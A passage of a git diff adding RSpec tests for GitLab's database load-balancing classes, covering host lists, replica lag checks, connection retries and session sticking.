+ expect(session).not_to receive(:write!)
+
+ proxy.write_using_load_balancer(:foo, ['foo'])
+ end
+
+ it 'sticks to the primary when sticking is enabled' do
+ expect(proxy.load_balancer).to receive(:read_write).and_yield(connection)
+ expect(connection).to receive(:foo).with('foo')
+ expect(session).to receive(:write!)
+
+ proxy.write_using_load_balancer(:foo, ['foo'], sticky: true)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/host_list_spec.rb b/spec/lib/gitlab/database/load_balancing/host_list_spec.rb
new file mode 100644
index 00000000000..873b599f84d
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/host_list_spec.rb
@@ -0,0 +1,188 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::HostList do
+ def expect_metrics(hosts)
+ expect(Gitlab::Metrics.registry.get(:db_load_balancing_hosts).get({})).to eq(hosts)
+ end
+
+ before do
+ allow(Gitlab::Database)
+ .to receive(:create_connection_pool)
+ .and_return(ActiveRecord::Base.connection_pool)
+ end
+
+ let(:load_balancer) { double(:load_balancer) }
+ let(:host_count) { 2 }
+
+ let(:host_list) do
+ hosts = Array.new(host_count) do
+ Gitlab::Database::LoadBalancing::Host.new('localhost', load_balancer, port: 5432)
+ end
+
+ described_class.new(hosts)
+ end
+
+ describe '#initialize' do
+ it 'sets metrics for current number of hosts and current index' do
+ host_list
+
+ expect_metrics(2)
+ end
+ end
+
+ describe '#length' do
+ it 'returns the number of hosts in the list' do
+ expect(host_list.length).to eq(2)
+ end
+ end
+
+ describe '#host_names_and_ports' do
+ context 'with ports' do
+ it 'returns the host names of all hosts' do
+ hosts = [
+ ['localhost', 5432],
+ ['localhost', 5432]
+ ]
+
+ expect(host_list.host_names_and_ports).to eq(hosts)
+ end
+ end
+
+ context 'without ports' do
+ let(:host_list) do
+ hosts = Array.new(2) do
+ Gitlab::Database::LoadBalancing::Host.new('localhost', load_balancer)
+ end
+
+ described_class.new(hosts)
+ end
+
+ it 'returns the host names of all hosts' do
+ hosts = [
+ ['localhost', nil],
+ ['localhost', nil]
+ ]
+
+ expect(host_list.host_names_and_ports).to eq(hosts)
+ end
+ end
+ end
+
+ describe '#manage_pool?' do
+ before do
+ allow(Gitlab::Database).to receive(:create_connection_pool) { double(:connection) }
+ end
+
+ context 'when the testing pool belongs to one host of the host list' do
+ it 'returns true' do
+ pool = host_list.hosts.first.pool
+
+ expect(host_list.manage_pool?(pool)).to be(true)
+ end
+ end
+
+ context 'when the testing pool belongs to a former host of the host list' do
+ it 'returns false' do
+ pool = host_list.hosts.first.pool
+ host_list.hosts = [
+ Gitlab::Database::LoadBalancing::Host.new('foo', load_balancer)
+ ]
+
+ expect(host_list.manage_pool?(pool)).to be(false)
+ end
+ end
+
+ context 'when the testing pool belongs to a new host of the host list' do
+ it 'returns true' do
+ host = Gitlab::Database::LoadBalancing::Host.new('foo', load_balancer)
+ host_list.hosts = [host]
+
+ expect(host_list.manage_pool?(host.pool)).to be(true)
+ end
+ end
+
+ context 'when the testing pool does not have any relation with the host list' do
+ it 'returns false' do
+ host = Gitlab::Database::LoadBalancing::Host.new('foo', load_balancer)
+
+ expect(host_list.manage_pool?(host.pool)).to be(false)
+ end
+ end
+ end
+
+ describe '#hosts' do
+ it 'returns a copy of the host' do
+ first = host_list.hosts
+
+ expect(host_list.hosts).to eq(first)
+ expect(host_list.hosts.object_id).not_to eq(first.object_id)
+ end
+ end
+
+ describe '#hosts=' do
+ it 'updates the list of hosts to use' do
+ host_list.hosts = [
+ Gitlab::Database::LoadBalancing::Host.new('foo', load_balancer)
+ ]
+
+ expect(host_list.length).to eq(1)
+ expect(host_list.hosts[0].host).to eq('foo')
+ expect_metrics(1)
+ end
+ end
+
+ describe '#next' do
+ it 'returns a host' do
+ expect(host_list.next)
+ .to be_an_instance_of(Gitlab::Database::LoadBalancing::Host)
+ end
+
+ it 'cycles through all available hosts' do
+ expect(host_list.next).to eq(host_list.hosts[0])
+ expect_metrics(2)
+
+ expect(host_list.next).to eq(host_list.hosts[1])
+ expect_metrics(2)
+
+ expect(host_list.next).to eq(host_list.hosts[0])
+ expect_metrics(2)
+ end
+
+ it 'skips hosts that are offline' do
+ allow(host_list.hosts[0]).to receive(:online?).and_return(false)
+
+ expect(host_list.next).to eq(host_list.hosts[1])
+ expect_metrics(2)
+ end
+
+ it 'returns nil if no hosts are online' do
+ host_list.hosts.each do |host|
+ allow(host).to receive(:online?).and_return(false)
+ end
+
+ expect(host_list.next).to be_nil
+ expect_metrics(2)
+ end
+
+ it 'returns nil if no hosts are available' do
+ expect(described_class.new.next).to be_nil
+ end
+ end
+
+ describe '#shuffle' do
+ let(:host_count) { 3 }
+
+ it 'randomizes the list' do
+ 2.times do
+ all_hosts = host_list.hosts
+
+ host_list.shuffle
+
+ expect(host_list.length).to eq(host_count)
+ expect(host_list.hosts).to contain_exactly(*all_hosts)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/host_spec.rb b/spec/lib/gitlab/database/load_balancing/host_spec.rb
new file mode 100644
index 00000000000..4dfddef68c8
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/host_spec.rb
@@ -0,0 +1,445 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::Host do
+ let(:load_balancer) do
+ Gitlab::Database::LoadBalancing::LoadBalancer.new(%w[localhost])
+ end
+
+ let(:host) { load_balancer.host_list.hosts.first }
+
+ before do
+ allow(Gitlab::Database).to receive(:create_connection_pool)
+ .and_return(ActiveRecord::Base.connection_pool)
+ end
+
+ def raise_and_wrap(wrapper, original)
+ raise original
+ rescue original.class
+ raise wrapper, 'boom'
+ end
+
+ def wrapped_exception(wrapper, original)
+ raise_and_wrap(wrapper, original.new)
+ rescue wrapper => error
+ error
+ end
+
+ describe '#connection' do
+ it 'returns a connection from the pool' do
+ expect(host.pool).to receive(:connection)
+
+ host.connection
+ end
+ end
+
+ describe '#disconnect!' do
+ it 'disconnects the pool' do
+ connection = double(:connection, in_use?: false)
+ pool = double(:pool, connections: [connection])
+
+ allow(host)
+ .to receive(:pool)
+ .and_return(pool)
+
+ expect(host)
+ .not_to receive(:sleep)
+
+ expect(host.pool)
+ .to receive(:disconnect!)
+
+ host.disconnect!
+ end
+
+ it 'disconnects the pool when waiting for connections takes too long' do
+ connection = double(:connection, in_use?: true)
+ pool = double(:pool, connections: [connection])
+
+ allow(host)
+ .to receive(:pool)
+ .and_return(pool)
+
+ expect(host.pool)
+ .to receive(:disconnect!)
+
+ host.disconnect!(1)
+ end
+ end
+
+ describe '#release_connection' do
+ it 'releases the current connection from the pool' do
+ expect(host.pool).to receive(:release_connection)
+
+ host.release_connection
+ end
+ end
+
+ describe '#offline!' do
+ it 'marks the host as offline' do
+ expect(host.pool).to receive(:disconnect!)
+
+ expect(Gitlab::Database::LoadBalancing::Logger).to receive(:warn)
+ .with(hash_including(event: :host_offline))
+ .and_call_original
+
+ host.offline!
+ end
+ end
+
+ describe '#online?' do
+ context 'when the replica status is recent enough' do
+ before do
+ expect(host).to receive(:check_replica_status?).and_return(false)
+ end
+
+ it 'returns the latest status' do
+ expect(host).not_to receive(:refresh_status)
+ expect(Gitlab::Database::LoadBalancing::Logger).not_to receive(:info)
+ expect(Gitlab::Database::LoadBalancing::Logger).not_to receive(:warn)
+
+ expect(host).to be_online
+ end
+
+ it 'returns an offline status' do
+ host.offline!
+
+ expect(host).not_to receive(:refresh_status)
+ expect(Gitlab::Database::LoadBalancing::Logger).not_to receive(:info)
+ expect(Gitlab::Database::LoadBalancing::Logger).not_to receive(:warn)
+
+ expect(host).not_to be_online
+ end
+ end
+
+ context 'when the replica status is outdated' do
+ before do
+ expect(host)
+ .to receive(:check_replica_status?)
+ .and_return(true)
+ end
+
+ it 'refreshes the status' do
+ expect(Gitlab::Database::LoadBalancing::Logger).to receive(:info)
+ .with(hash_including(event: :host_online))
+ .and_call_original
+
+ expect(host).to be_online
+ end
+
+ context 'and replica is not up to date' do
+ before do
+ expect(host).to receive(:replica_is_up_to_date?).and_return(false)
+ end
+
+ it 'marks the host offline' do
+ expect(Gitlab::Database::LoadBalancing::Logger).to receive(:warn)
+ .with(hash_including(event: :host_offline))
+ .and_call_original
+
+ expect(host).not_to be_online
+ end
+ end
+ end
+
+ context 'when the replica is not online' do
+ it 'returns false when ActionView::Template::Error is raised' do
+ wrapped_error = wrapped_exception(ActionView::Template::Error, StandardError)
+
+ allow(host)
+ .to receive(:check_replica_status?)
+ .and_raise(wrapped_error)
+
+ expect(host).not_to be_online
+ end
+
+ it 'returns false when ActiveRecord::StatementInvalid is raised' do
+ allow(host)
+ .to receive(:check_replica_status?)
+ .and_raise(ActiveRecord::StatementInvalid.new('foo'))
+
+ expect(host).not_to be_online
+ end
+
+ it 'returns false when PG::Error is raised' do
+ allow(host)
+ .to receive(:check_replica_status?)
+ .and_raise(PG::Error)
+
+ expect(host).not_to be_online
+ end
+ end
+ end
+
+ describe '#refresh_status' do
+ it 'refreshes the status' do
+ host.offline!
+
+ expect(host)
+ .to receive(:replica_is_up_to_date?)
+ .and_call_original
+
+ host.refresh_status
+
+ expect(host).to be_online
+ end
+ end
+
+ describe '#check_replica_status?' do
+ it 'returns true when we need to check the replica status' do
+ allow(host)
+ .to receive(:last_checked_at)
+ .and_return(1.year.ago)
+
+ expect(host.check_replica_status?).to eq(true)
+ end
+
+ it 'returns false when we do not need to check the replica status' do
+ freeze_time do
+ allow(host)
+ .to receive(:last_checked_at)
+ .and_return(Time.zone.now)
+
+ expect(host.check_replica_status?).to eq(false)
+ end
+ end
+ end
+
+ describe '#replica_is_up_to_date?' do
+ context 'when the lag time is below the threshold' do
+ it 'returns true' do
+ expect(host)
+ .to receive(:replication_lag_below_threshold?)
+ .and_return(true)
+
+ expect(host.replica_is_up_to_date?).to eq(true)
+ end
+ end
+
+ context 'when the lag time exceeds the threshold' do
+ before do
+ allow(host)
+ .to receive(:replication_lag_below_threshold?)
+ .and_return(false)
+ end
+
+ it 'returns true if the data is recent enough' do
+ expect(host)
+ .to receive(:data_is_recent_enough?)
+ .and_return(true)
+
+ expect(host.replica_is_up_to_date?).to eq(true)
+ end
+
+ it 'returns false when the data is not recent enough' do
+ expect(host)
+ .to receive(:data_is_recent_enough?)
+ .and_return(false)
+
+ expect(host.replica_is_up_to_date?).to eq(false)
+ end
+ end
+ end
+
+ describe '#replication_lag_below_threshold' do
+ it 'returns true when the lag time is below the threshold' do
+ expect(host)
+ .to receive(:replication_lag_time)
+ .and_return(1)
+
+ expect(host.replication_lag_below_threshold?).to eq(true)
+ end
+
+ it 'returns false when the lag time exceeds the threshold' do
+ expect(host)
+ .to receive(:replication_lag_time)
+ .and_return(9000)
+
+ expect(host.replication_lag_below_threshold?).to eq(false)
+ end
+
+ it 'returns false when no lag time could be calculated' do
+ expect(host)
+ .to receive(:replication_lag_time)
+ .and_return(nil)
+
+ expect(host.replication_lag_below_threshold?).to eq(false)
+ end
+ end
+
+ describe '#data_is_recent_enough?' do
+ it 'returns true when the data is recent enough' do
+ expect(host.data_is_recent_enough?).to eq(true)
+ end
+
+ it 'returns false when the data is not recent enough' do
+ diff = Gitlab::Database::LoadBalancing.max_replication_difference * 2
+
+ expect(host)
+ .to receive(:query_and_release)
+ .and_return({ 'diff' => diff })
+
+ expect(host.data_is_recent_enough?).to eq(false)
+ end
+
+ it 'returns false when no lag size could be calculated' do
+ expect(host)
+ .to receive(:replication_lag_size)
+ .and_return(nil)
+
+ expect(host.data_is_recent_enough?).to eq(false)
+ end
+ end
+
+ describe '#replication_lag_time' do
+ it 'returns the lag time as a Float' do
+ expect(host.replication_lag_time).to be_an_instance_of(Float)
+ end
+
+ it 'returns nil when the database query returned no rows' do
+ expect(host)
+ .to receive(:query_and_release)
+ .and_return({})
+
+ expect(host.replication_lag_time).to be_nil
+ end
+ end
+
+ describe '#replication_lag_size' do
+ it 'returns the lag size as an Integer' do
+ expect(host.replication_lag_size).to be_an_instance_of(Integer)
+ end
+
+ it 'returns nil when the database query returned no rows' do
+ expect(host)
+ .to receive(:query_and_release)
+ .and_return({})
+
+ expect(host.replication_lag_size).to be_nil
+ end
+
+ it 'returns nil when the database connection fails' do
+ wrapped_error = wrapped_exception(ActionView::Template::Error, StandardError)
+
+ allow(host)
+ .to receive(:connection)
+ .and_raise(wrapped_error)
+
+ expect(host.replication_lag_size).to be_nil
+ end
+ end
+
+ describe '#primary_write_location' do
+ it 'returns the write location of the primary' do
+ expect(host.primary_write_location).to be_an_instance_of(String)
+ expect(host.primary_write_location).not_to be_empty
+ end
+ end
+
+ describe '#caught_up?' do
+ let(:connection) { double(:connection) }
+
+ before do
+ allow(connection).to receive(:quote).and_return('foo')
+ end
+
+ it 'returns true when a host has caught up' do
+ allow(host).to receive(:connection).and_return(connection)
+ expect(connection).to receive(:select_all).and_return([{ 'result' => 't' }])
+
+ expect(host.caught_up?('foo')).to eq(true)
+ end
+
+ it 'returns true when a host has caught up' do
+ allow(host).to receive(:connection).and_return(connection)
+ expect(connection).to receive(:select_all).and_return([{ 'result' => true }])
+
+ expect(host.caught_up?('foo')).to eq(true)
+ end
+
+ it 'returns false when a host has not caught up' do
+ allow(host).to receive(:connection).and_return(connection)
+ expect(connection).to receive(:select_all).and_return([{ 'result' => 'f' }])
+
+ expect(host.caught_up?('foo')).to eq(false)
+ end
+
+ it 'returns false when a host has not caught up' do
+ allow(host).to receive(:connection).and_return(connection)
+ expect(connection).to receive(:select_all).and_return([{ 'result' => false }])
+
+ expect(host.caught_up?('foo')).to eq(false)
+ end
+
+ it 'returns false when the connection fails' do
+ wrapped_error = wrapped_exception(ActionView::Template::Error, StandardError)
+
+ allow(host)
+ .to receive(:connection)
+ .and_raise(wrapped_error)
+
+ expect(host.caught_up?('foo')).to eq(false)
+ end
+ end
+
+ describe '#database_replica_location' do
+ let(:connection) { double(:connection) }
+
+ it 'returns the write ahead location of the replica', :aggregate_failures do
+ expect(host)
+ .to receive(:query_and_release)
+ .and_return({ 'location' => '0/D525E3A8' })
+
+ expect(host.database_replica_location).to be_an_instance_of(String)
+ end
+
+ it 'returns nil when the database query returned no rows' do
+ expect(host)
+ .to receive(:query_and_release)
+ .and_return({})
+
+ expect(host.database_replica_location).to be_nil
+ end
+
+ it 'returns nil when the database connection fails' do
+ wrapped_error = wrapped_exception(ActionView::Template::Error, StandardError)
+
+ allow(host)
+ .to receive(:connection)
+ .and_raise(wrapped_error)
+
+ expect(host.database_replica_location).to be_nil
+ end
+ end
+
+ describe '#query_and_release' do
+ it 'executes a SQL query' do
+ results = host.query_and_release('SELECT 10 AS number')
+
+ expect(results).to be_an_instance_of(Hash)
+ expect(results['number'].to_i).to eq(10)
+ end
+
+ it 'releases the connection after running the query' do
+ expect(host)
+ .to receive(:release_connection)
+ .once
+
+ host.query_and_release('SELECT 10 AS number')
+ end
+
+ it 'returns an empty Hash in the event of an error' do
+ expect(host.connection)
+ .to receive(:select_all)
+ .and_raise(RuntimeError, 'kittens')
+
+ expect(host.query_and_release('SELECT 10 AS number')).to eq({})
+ end
+ end
+
+ describe '#host' do
+ it 'returns the hostname' do
+ expect(host.host).to eq('localhost')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb b/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
new file mode 100644
index 00000000000..4705bb23885
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
@@ -0,0 +1,522 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::LoadBalancer, :request_store do
+ let(:pool) { Gitlab::Database.create_connection_pool(2) }
+ let(:conflict_error) { Class.new(RuntimeError) }
+
+ let(:lb) { described_class.new(%w(localhost localhost)) }
+
+ before do
+ allow(Gitlab::Database).to receive(:create_connection_pool)
+ .and_return(pool)
+ stub_const(
+ 'Gitlab::Database::LoadBalancing::LoadBalancer::PG::TRSerializationFailure',
+ conflict_error
+ )
+ end
+
+ def raise_and_wrap(wrapper, original)
+ raise original
+ rescue original.class
+ raise wrapper, 'boop'
+ end
+
+ def wrapped_exception(wrapper, original)
+ raise_and_wrap(wrapper, original.new)
+ rescue wrapper => error
+ error
+ end
+
+ def twice_wrapped_exception(top, middle, original)
+ begin
+ raise_and_wrap(middle, original.new)
+ rescue middle => middle_error
+ raise_and_wrap(top, middle_error)
+ end
+ rescue top => top_error
+ top_error
+ end
+
+ describe '#read' do
+ it 'yields a connection for a read' do
+ connection = double(:connection)
+ host = double(:host)
+
+ allow(lb).to receive(:host).and_return(host)
+ allow(host).to receive(:query_cache_enabled).and_return(true)
+
+ expect(host).to receive(:connection).and_return(connection)
+
+ expect { |b| lb.read(&b) }.to yield_with_args(connection)
+ end
+
+ it 'ensures that query cache is enabled' do
+ connection = double(:connection)
+ host = double(:host)
+
+ allow(lb).to receive(:host).and_return(host)
+ allow(host).to receive(:query_cache_enabled).and_return(false)
+ allow(host).to receive(:connection).and_return(connection)
+
+ expect(host).to receive(:enable_query_cache!).once
+
+ lb.read { 10 }
+ end
+
+ it 'marks hosts that are offline' do
+ allow(lb).to receive(:connection_error?).and_return(true)
+
+ expect(lb.host_list.hosts[0]).to receive(:offline!)
+ expect(lb).to receive(:release_host)
+
+ raised = false
+
+ returned = lb.read do
+ unless raised
+ raised = true
+ raise
+ end
+
+ 10
+ end
+
+ expect(returned).to eq(10)
+ end
+
+ it 'retries a query in the event of a serialization failure' do
+ raised = false
+
+ expect(lb).to receive(:release_host)
+
+ returned = lb.read do
+ unless raised
+ raised = true
+ raise conflict_error
+ end
+
+ 10
+ end
+
+ expect(returned).to eq(10)
+ end
+
+ it 'retries every host at most 3 times when a query conflict is raised' do
+ expect(lb).to receive(:release_host).exactly(6).times
+ expect(lb).to receive(:read_write)
+
+ lb.read { raise conflict_error }
+ end
+
+ it 'uses the primary if no secondaries are available' do
+ allow(lb).to receive(:connection_error?).and_return(true)
+
+ expect(lb.host_list.hosts).to all(receive(:online?).and_return(false))
+
+ expect(lb).to receive(:read_write).and_call_original
+
+ expect { |b| lb.read(&b) }
+ .to yield_with_args(ActiveRecord::Base.retrieve_connection)
+ end
+ end
+
+ describe '#read_write' do
+ it 'yields a connection for a write' do
+ expect { |b| lb.read_write(&b) }
+ .to yield_with_args(ActiveRecord::Base.retrieve_connection)
+ end
+
+ it 'uses a retry with exponential backoffs' do
+ expect(lb).to receive(:retry_with_backoff).and_yield
+
+ lb.read_write { 10 }
+ end
+ end
+
+ describe '#db_role_for_connection' do
+ context 'when the load balancer creates the connection with #read' do
+ it 'returns :replica' do
+ role = nil
+ lb.read do |connection|
+ role = lb.db_role_for_connection(connection)
+ end
+
+ expect(role).to be(:replica)
+ end
+ end
+
+ context 'when the load balancer uses nested #read' do
+ it 'returns :replica' do
+ roles = []
+ lb.read do |connection_1|
+ lb.read do |connection_2|
+ roles << lb.db_role_for_connection(connection_2)
+ end
+ roles << lb.db_role_for_connection(connection_1)
+ end
+
+ expect(roles).to eq([:replica, :replica])
+ end
+ end
+
+ context 'when the load balancer creates the connection with #read_write' do
+ it 'returns :primary' do
+ role = nil
+ lb.read_write do |connection|
+ role = lb.db_role_for_connection(connection)
+ end
+
+ expect(role).to be(:primary)
+ end
+ end
+
+ context 'when the load balancer uses nested #read_write' do
+ it 'returns :primary' do
+ roles = []
+ lb.read_write do |connection_1|
+ lb.read_write do |connection_2|
+ roles << lb.db_role_for_connection(connection_2)
+ end
+ roles << lb.db_role_for_connection(connection_1)
+ end
+
+ expect(roles).to eq([:primary, :primary])
+ end
+ end
+
+ context 'when the load balancer falls back the connection creation to primary' do
+ it 'returns :primary' do
+ allow(lb).to receive(:serialization_failure?).and_return(true)
+
+ role = nil
+ raised = 7 # 2 hosts = 6 retries
+
+ lb.read do |connection|
+ if raised > 0
+ raised -= 1
+ raise
+ end
+
+ role = lb.db_role_for_connection(connection)
+ end
+
+ expect(role).to be(:primary)
+ end
+ end
+
+ context 'when the load balancer uses replica after recovery from a failure' do
+ it 'returns :replica' do
+ allow(lb).to receive(:connection_error?).and_return(true)
+
+ role = nil
+ raised = false
+
+ lb.read do |connection|
+ unless raised
+ raised = true
+ raise
+ end
+
+ role = lb.db_role_for_connection(connection)
+ end
+
+ expect(role).to be(:replica)
+ end
+ end
+
+ context 'when the connection comes from a pool managed by the host list' do
+ it 'returns :replica' do
+ connection = double(:connection)
+ allow(connection).to receive(:pool).and_return(lb.host_list.hosts.first.pool)
+
+ expect(lb.db_role_for_connection(connection)).to be(:replica)
+ end
+ end
+
+ context 'when the connection comes from the primary pool' do
+ it 'returns :primary' do
+ connection = double(:connection)
+ allow(connection).to receive(:pool).and_return(ActiveRecord::Base.connection_pool)
+
+ expect(lb.db_role_for_connection(connection)).to be(:primary)
+ end
+ end
+
+ context 'when the connection does not come from any known pool' do
+ it 'returns nil' do
+ connection = double(:connection)
+ pool = double(:connection_pool)
+ allow(connection).to receive(:pool).and_return(pool)
+
+ expect(lb.db_role_for_connection(connection)).to be(nil)
+ end
+ end
+ end
+
+ describe '#host' do
+ it 'returns the secondary host to use' do
+ expect(lb.host).to be_an_instance_of(Gitlab::Database::LoadBalancing::Host)
+ end
+
+ it 'stores the host in a thread-local variable' do
+ RequestStore.delete(described_class::CACHE_KEY)
+ RequestStore.delete(described_class::VALID_HOSTS_CACHE_KEY)
+
+ expect(lb.host_list).to receive(:next).once.and_call_original
+
+ lb.host
+ lb.host
+ end
+ end
+
+ describe '#release_host' do
+ it 'releases the host and its connection' do
+ host = lb.host
+
+ expect(host).to receive(:disable_query_cache!)
+
+ lb.release_host
+
+ expect(RequestStore[described_class::CACHE_KEY]).to be_nil
+ expect(RequestStore[described_class::VALID_HOSTS_CACHE_KEY]).to be_nil
+ end
+ end
+
+ describe '#release_primary_connection' do
+ it 'releases the connection to the primary' do
+ expect(ActiveRecord::Base.connection_pool).to receive(:release_connection)
+
+ lb.release_primary_connection
+ end
+ end
+
+ describe '#primary_write_location' do
+ it 'returns a String in the right format' do
+ expect(lb.primary_write_location).to match(%r{[A-F0-9]{1,8}/[A-F0-9]{1,8}})
+ end
+
+ it 'raises an error if the write location could not be retrieved' do
+ connection = double(:connection)
+
+ allow(lb).to receive(:read_write).and_yield(connection)
+ allow(connection).to receive(:select_all).and_return([])
+
+ expect { lb.primary_write_location }.to raise_error(RuntimeError)
+ end
+ end
+
+ describe '#all_caught_up?' do
+ it 'returns true if all hosts caught up to the write location' do
+ expect(lb.host_list.hosts).to all(receive(:caught_up?).with('foo').and_return(true))
+
+ expect(lb.all_caught_up?('foo')).to eq(true)
+ end
+
+ it 'returns false if a host has not yet caught up' do
+ expect(lb.host_list.hosts[0]).to receive(:caught_up?)
+ .with('foo')
+ .and_return(true)
+
+ expect(lb.host_list.hosts[1]).to receive(:caught_up?)
+ .with('foo')
+ .and_return(false)
+
+ expect(lb.all_caught_up?('foo')).to eq(false)
+ end
+ end
+
+ describe '#retry_with_backoff' do
+ it 'returns the value returned by the block' do
+ value = lb.retry_with_backoff { 10 }
+
+ expect(value).to eq(10)
+ end
+
+ it 're-raises errors not related to database connections' do
+ expect(lb).not_to receive(:sleep) # to make sure we're not retrying
+
+ expect { lb.retry_with_backoff { raise 'boop' } }
+ .to raise_error(RuntimeError)
+ end
+
+ it 'retries the block when a connection error is raised' do
+ allow(lb).to receive(:connection_error?).and_return(true)
+ expect(lb).to receive(:sleep).with(2)
+ expect(lb).to receive(:release_primary_connection)
+
+ raised = false
+ returned = lb.retry_with_backoff do
+ unless raised
+ raised = true
+ raise
+ end
+
+ 10
+ end
+
+ expect(returned).to eq(10)
+ end
+
+ it 're-raises the connection error if the retries did not succeed' do
+ allow(lb).to receive(:connection_error?).and_return(true)
+ expect(lb).to receive(:sleep).with(2).ordered
+ expect(lb).to receive(:sleep).with(4).ordered
+ expect(lb).to receive(:sleep).with(16).ordered
+
+ expect(lb).to receive(:release_primary_connection).exactly(3).times
+
+ expect { lb.retry_with_backoff { raise } }.to raise_error(RuntimeError)
+ end
+ end
+
+ describe '#connection_error?' do
+ before do
+ stub_const('Gitlab::Database::LoadBalancing::LoadBalancer::CONNECTION_ERRORS',
+ [NotImplementedError])
+ end
+
+ it 'returns true for a connection error' do
+ error = NotImplementedError.new
+
+ expect(lb.connection_error?(error)).to eq(true)
+ end
+
+ it 'returns true for a wrapped connection error' do
+ wrapped = wrapped_exception(ActiveRecord::StatementInvalid, NotImplementedError)
+
+ expect(lb.connection_error?(wrapped)).to eq(true)
+ end
+
+ it 'returns true for a wrapped connection error from a view' do
+ wrapped = wrapped_exception(ActionView::Template::Error, NotImplementedError)
+
+ expect(lb.connection_error?(wrapped)).to eq(true)
+ end
+
+ it 'returns true for deeply wrapped/nested errors' do
+ top = twice_wrapped_exception(ActionView::Template::Error, ActiveRecord::StatementInvalid, NotImplementedError)
+
+ expect(lb.connection_error?(top)).to eq(true)
+ end
+
+ it 'returns true for an invalid encoding error' do
+ error = RuntimeError.new('invalid encoding name: unicode')
+
+ expect(lb.connection_error?(error)).to eq(true)
+ end
+
+ it 'returns false for errors not related to database connections' do
+ error = RuntimeError.new
+
+ expect(lb.connection_error?(error)).to eq(false)
+ end
+ end
+
+ describe '#serialization_failure?' do
+ let(:conflict_error) { Class.new(RuntimeError) }
+
+ before do
+ stub_const(
+ 'Gitlab::Database::LoadBalancing::LoadBalancer::PG::TRSerializationFailure',
+ conflict_error
+ )
+ end
+
+ it 'returns for a serialization error' do
+ expect(lb.serialization_failure?(conflict_error.new)).to eq(true)
+ end
+
+ it 'returns true for a wrapped error' do
+ wrapped = wrapped_exception(ActionView::Template::Error, conflict_error)
+
+ expect(lb.serialization_failure?(wrapped)).to eq(true)
+ end
+ end
+
+ describe '#select_caught_up_hosts' do
+ let(:location) { 'AB/12345'}
+ let(:hosts) { lb.host_list.hosts }
+ let(:valid_host_list) { RequestStore[described_class::VALID_HOSTS_CACHE_KEY] }
+ let(:valid_hosts) { valid_host_list.hosts }
+
+ subject { lb.select_caught_up_hosts(location) }
+
+ context 'when all replicas are caught up' do
+ before do
+ expect(hosts).to all(receive(:caught_up?).with(location).and_return(true))
+ end
+
+ it 'returns true and sets all hosts to valid' do
+ expect(subject).to be true
+ expect(valid_host_list).to be_a(Gitlab::Database::LoadBalancing::HostList)
+ expect(valid_hosts).to contain_exactly(*hosts)
+ end
+ end
+
+ context 'when none of the replicas are caught up' do
+ before do
+ expect(hosts).to all(receive(:caught_up?).with(location).and_return(false))
+ end
+
+ it 'returns false and does not set the valid hosts' do
+ expect(subject).to be false
+ expect(valid_host_list).to be_nil
+ end
+ end
+
+ context 'when one of the replicas is caught up' do
+ before do
+ expect(hosts[0]).to receive(:caught_up?).with(location).and_return(false)
+ expect(hosts[1]).to receive(:caught_up?).with(location).and_return(true)
+ end
+
+ it 'returns true and sets one host to valid' do
+ expect(subject).to be true
+ expect(valid_host_list).to be_a(Gitlab::Database::LoadBalancing::HostList)
+ expect(valid_hosts).to contain_exactly(hosts[1])
+ end
+
+ it 'host always returns the caught-up replica' do
+ subject
+
+ 3.times do
+ expect(lb.host).to eq(hosts[1])
+ RequestStore.delete(described_class::CACHE_KEY)
+ end
+ end
+ end
+ end
+
+ describe '#select_caught_up_hosts' do
+ let(:location) { 'AB/12345'}
+ let(:hosts) { lb.host_list.hosts }
+ let(:set_host) { RequestStore[described_class::CACHE_KEY] }
+
+ subject { lb.select_up_to_date_host(location) }
+
+ context 'when none of the replicas are caught up' do
+ before do
+ expect(hosts).to all(receive(:caught_up?).with(location).and_return(false))
+ end
+
+ it 'returns false and does not update the host thread-local variable' do
+ expect(subject).to be false
+ expect(set_host).to be_nil
+ end
+ end
+
+ context 'when any of the replicas is caught up' do
+ before do
+ # `allow` for non-caught up host, because we may not even check it, if will find the caught up one earlier
+ allow(hosts[0]).to receive(:caught_up?).with(location).and_return(false)
+ expect(hosts[1]).to receive(:caught_up?).with(location).and_return(true)
+ end
+
+ it 'returns true and sets host thread-local variable' do
+ expect(subject).to be true
+ expect(set_host).to eq(hosts[1])
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb
new file mode 100644
index 00000000000..01367716518
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb
@@ -0,0 +1,243 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::RackMiddleware, :redis do
+ let(:app) { double(:app) }
+ let(:middleware) { described_class.new(app) }
+ let(:warden_user) { double(:warden, user: double(:user, id: 42)) }
+ let(:single_sticking_object) { Set.new([[:user, 42]]) }
+ let(:multiple_sticking_objects) do
+ Set.new([
+ [:user, 42],
+ [:runner, '123456789'],
+ [:runner, '1234']
+ ])
+ end
+
+ after do
+ Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+
+ describe '.stick_or_unstick' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?)
+ .and_return(true)
+ end
+
+ it 'sticks or unsticks a single object and updates the Rack environment' do
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:user, 42)
+
+ env = {}
+
+ described_class.stick_or_unstick(env, :user, 42)
+
+ expect(env[described_class::STICK_OBJECT].to_a).to eq([[:user, 42]])
+ end
+
+ it 'sticks or unsticks multiple objects and updates the Rack environment' do
+ expect(Gitlab::Database::LoadBalancing::Sticking)
+ .to receive(:unstick_or_continue_sticking)
+ .with(:user, 42)
+ .ordered
+
